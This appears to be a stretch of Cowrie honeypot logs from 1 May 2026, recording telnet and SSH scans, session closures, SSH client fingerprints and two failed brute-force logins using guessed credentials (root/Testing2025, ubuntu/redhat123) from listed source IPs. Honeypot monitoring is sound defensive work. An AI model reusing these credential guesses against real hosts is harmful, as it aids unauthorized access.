{"eventid":"cowrie.session.closed","duration":31.1423921585083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:56.321593Z","src_ip":"202.91.32.11","session":"9b4846053b97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97568202018738,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:56.756568Z","src_ip":"202.91.32.11","session":"f763e57f6103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.117274522781372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:57.319025Z","src_ip":"202.91.32.11","session":"a43270cd5aa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":51656,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca94f5c89625","protocol":"telnet","message":"New connection: 45.63.42.31:51656 (10.17.0.5:23) [session: ca94f5c89625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:57.669379Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54872,"dst_ip":"159.203.135.109","dst_port":23,"session":"050c6bf8fdef","protocol":"telnet","message":"New connection: 202.91.32.11:54872 (159.203.135.109:23) [session: 050c6bf8fdef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:57.688889Z"}
{"eventid":"cowrie.session.closed","duration":31.56696057319641,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:57.852345Z","src_ip":"202.91.32.11","session":"0a046dcdd5a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.994011640548706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:58.048110Z","src_ip":"202.91.32.11","session":"8f46348ea0c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":53718,"dst_ip":"10.17.0.5","dst_port":22,"session":"4acb9070d413","protocol":"ssh","message":"New connection: 5.182.83.231:53718 (10.17.0.5:22) [session: 4acb9070d413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:58.347243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:58.355429Z","src_ip":"5.182.83.231","session":"4acb9070d413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.05537176132202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:58.464670Z","src_ip":"202.91.32.11","session":"34313af366aa","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:58.472887Z","src_ip":"5.182.83.231","session":"4acb9070d413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54888,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2ca25893c59","protocol":"telnet","message":"New connection: 202.91.32.11:54888 (159.203.135.109:23) [session: e2ca25893c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:58.559915Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Testing2025","message":"login attempt [root/Testing2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:58.972608Z","src_ip":"5.182.83.231","session":"4acb9070d413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54894,"dst_ip":"159.203.135.109","dst_port":23,"session":"14bf2d84746c","protocol":"telnet","message":"New connection: 202.91.32.11:54894 (159.203.135.109:23) [session: 14bf2d84746c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:59.363487Z"}
{"eventid":"cowrie.session.closed","duration":31.46059012413025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:59.381067Z","src_ip":"202.91.32.11","session":"5c7c7ecdd517","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.29690408706665,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:59.386586Z","src_ip":"45.63.42.31","session":"05e4f7966e43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":56394,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb25dc26ea0e","protocol":"telnet","message":"New connection: 45.63.42.31:56394 (10.17.0.5:23) [session: eb25dc26ea0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:19:59.904519Z"}
{"eventid":"cowrie.session.closed","duration":32.21418809890747,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:00.024344Z","src_ip":"202.91.32.11","session":"c4f1e40cea81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:00.096647Z","src_ip":"5.182.83.231","session":"4acb9070d413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.44013738632202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:00.562527Z","src_ip":"202.91.32.11","session":"c4fff9d06ede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62612771987915,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:01.330863Z","src_ip":"202.91.32.11","session":"ebdbe46239ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76441788673401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:02.217610Z","src_ip":"202.91.32.11","session":"afef46ca9d28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22860860824585,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:02.365419Z","src_ip":"202.91.32.11","session":"d92c7bbe7e03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18793559074402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:02.413401Z","src_ip":"202.91.32.11","session":"afc640084b11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54908,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f6f6088a878","protocol":"telnet","message":"New connection: 202.91.32.11:54908 (159.203.135.109:23) [session: 4f6f6088a878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:02.446608Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54258,"dst_ip":"159.203.135.109","dst_port":23,"session":"849c4d80bb0f","protocol":"telnet","message":"New connection: 202.91.32.11:54258 (159.203.135.109:23) [session: 849c4d80bb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:02.759791Z"}
{"eventid":"cowrie.session.closed","duration":31.60011863708496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:02.820223Z","src_ip":"202.91.32.11","session":"246a5c36b4f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54270,"dst_ip":"159.203.135.109","dst_port":23,"session":"31bbaa16c1aa","protocol":"telnet","message":"New connection: 202.91.32.11:54270 (159.203.135.109:23) [session: 31bbaa16c1aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:02.830282Z"}
{"eventid":"cowrie.session.closed","duration":41.82586193084717,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:02.984621Z","src_ip":"103.115.172.252","session":"1315e8d81ca3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54278,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2faf75b707c","protocol":"telnet","message":"New connection: 202.91.32.11:54278 (159.203.135.109:23) [session: f2faf75b707c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:03.165157Z"}
{"eventid":"cowrie.session.closed","duration":31.319910764694214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:03.557247Z","src_ip":"202.91.32.11","session":"3584ac72b614","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9237802028656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:03.727886Z","src_ip":"202.91.32.11","session":"35213d629f0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30906629562378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:04.174158Z","src_ip":"202.91.32.11","session":"8eb871c091e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.181333780288696,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:04.375004Z","src_ip":"45.63.42.31","session":"7642e1c75d98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.51637125015259,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:04.547963Z","src_ip":"45.63.42.31","session":"647546a03d72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54286,"dst_ip":"159.203.135.109","dst_port":23,"session":"72dfd4d142bf","protocol":"telnet","message":"New connection: 202.91.32.11:54286 (159.203.135.109:23) [session: 72dfd4d142bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:04.595111Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54288,"dst_ip":"159.203.135.109","dst_port":23,"session":"9faf4c1165a5","protocol":"telnet","message":"New connection: 202.91.32.11:54288 (159.203.135.109:23) [session: 9faf4c1165a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:04.694851Z"}
{"eventid":"cowrie.session.closed","duration":31.207295894622803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:04.864417Z","src_ip":"202.91.32.11","session":"42cc8270cf5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54302,"dst_ip":"159.203.135.109","dst_port":23,"session":"e06f14a23866","protocol":"telnet","message":"New connection: 202.91.32.11:54302 (159.203.135.109:23) [session: e06f14a23866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:05.099385Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54318,"dst_ip":"159.203.135.109","dst_port":23,"session":"7edd4b826d54","protocol":"telnet","message":"New connection: 202.91.32.11:54318 (159.203.135.109:23) [session: 7edd4b826d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:05.117347Z"}
{"eventid":"cowrie.session.closed","duration":30.957765817642212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:05.168216Z","src_ip":"202.91.32.11","session":"720156dd0acc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54320,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdcf27f543c7","protocol":"telnet","message":"New connection: 202.91.32.11:54320 (159.203.135.109:23) [session: fdcf27f543c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:05.381613Z"}
{"eventid":"cowrie.session.closed","duration":31.09488558769226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:06.270086Z","src_ip":"202.91.32.11","session":"c7cbf24e3810","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88711428642273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:06.356121Z","src_ip":"202.91.32.11","session":"8d305de3ca49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.104461908340454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:06.764674Z","src_ip":"202.91.32.11","session":"1878ecb82988","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53222393989563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:06.804675Z","src_ip":"202.91.32.11","session":"ec3dafdf068e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3095862865448,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:06.894952Z","src_ip":"202.91.32.11","session":"e1c450132bc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.66876006126404,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:07.100864Z","src_ip":"45.63.42.31","session":"3c7b1bb0dd83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53385329246521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:07.167212Z","src_ip":"202.91.32.11","session":"75bbf9dbcc8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54334,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0264a5b60c2","protocol":"telnet","message":"New connection: 202.91.32.11:54334 (159.203.135.109:23) [session: d0264a5b60c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:07.536540Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54348,"dst_ip":"159.203.135.109","dst_port":23,"session":"64e3dc844a7c","protocol":"telnet","message":"New connection: 202.91.32.11:54348 (159.203.135.109:23) [session: 64e3dc844a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:07.552959Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54356,"dst_ip":"159.203.135.109","dst_port":23,"session":"632224415f76","protocol":"telnet","message":"New connection: 202.91.32.11:54356 (159.203.135.109:23) [session: 632224415f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:07.814323Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54366,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeb60a249891","protocol":"telnet","message":"New connection: 202.91.32.11:54366 (159.203.135.109:23) [session: eeb60a249891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:07.996679Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54378,"dst_ip":"159.203.135.109","dst_port":23,"session":"de92bc9dea06","protocol":"telnet","message":"New connection: 202.91.32.11:54378 (159.203.135.109:23) [session: de92bc9dea06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:08.010453Z"}
{"eventid":"cowrie.session.closed","duration":30.597171545028687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:08.037669Z","src_ip":"202.91.32.11","session":"bf3e9627c065","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74670386314392,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:08.253711Z","src_ip":"202.91.32.11","session":"804fec7e2839","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.282455921173096,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:08.338364Z","src_ip":"202.91.32.11","session":"5ba9fa4f0530","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54392,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0a3e10db2b4","protocol":"telnet","message":"New connection: 202.91.32.11:54392 (159.203.135.109:23) [session: e0a3e10db2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:08.734828Z"}
{"eventid":"cowrie.session.closed","duration":31.350786209106445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:08.868895Z","src_ip":"202.91.32.11","session":"f6af4b2a1ced","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54394,"dst_ip":"159.203.135.109","dst_port":23,"session":"59aa302c96d8","protocol":"telnet","message":"New connection: 202.91.32.11:54394 (159.203.135.109:23) [session: 59aa302c96d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:09.098258Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54410,"dst_ip":"159.203.135.109","dst_port":23,"session":"e81491f3aa5d","protocol":"telnet","message":"New connection: 202.91.32.11:54410 (159.203.135.109:23) [session: e81491f3aa5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:09.456633Z"}
{"eventid":"cowrie.session.closed","duration":30.941797971725464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:09.579074Z","src_ip":"202.91.32.11","session":"ee98aed20244","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783971786499023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:09.680356Z","src_ip":"202.91.32.11","session":"4eb0b3ad71b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.659793853759766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:10.265081Z","src_ip":"202.91.32.11","session":"44cb422bba28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.63809561729431,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:10.453061Z","src_ip":"45.63.42.31","session":"50fac93c2b3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54424,"dst_ip":"159.203.135.109","dst_port":23,"session":"010e3aa577fb","protocol":"telnet","message":"New connection: 202.91.32.11:54424 (159.203.135.109:23) [session: 010e3aa577fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:10.573076Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":60716,"dst_ip":"10.17.0.5","dst_port":22,"session":"878e9852da83","protocol":"ssh","message":"New connection: 107.173.55.151:60716 (10.17.0.5:22) [session: 878e9852da83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:11.110862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:11.116269Z","src_ip":"107.173.55.151","session":"878e9852da83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:11.141563Z","src_ip":"107.173.55.151","session":"878e9852da83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"redhat123","message":"login attempt [ubuntu/redhat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:11.255534Z","src_ip":"107.173.55.151","session":"878e9852da83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54430,"dst_ip":"159.203.135.109","dst_port":23,"session":"2911cece3771","protocol":"telnet","message":"New connection: 202.91.32.11:54430 (159.203.135.109:23) [session: 2911cece3771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:11.398290Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.91.32.11","src_port":54442,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e088afc9d9c","protocol":"telnet","message":"New connection: 202.91.32.11:54442 (159.203.135.109:23) [session: 5e088afc9d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:12.026891Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:12.299478Z","src_ip":"107.173.55.151","session":"878e9852da83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.487957239151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:20:12.414536Z","src_ip":"202.91.32.11","session":"9297d0fd2949","protocol":"telnet"}
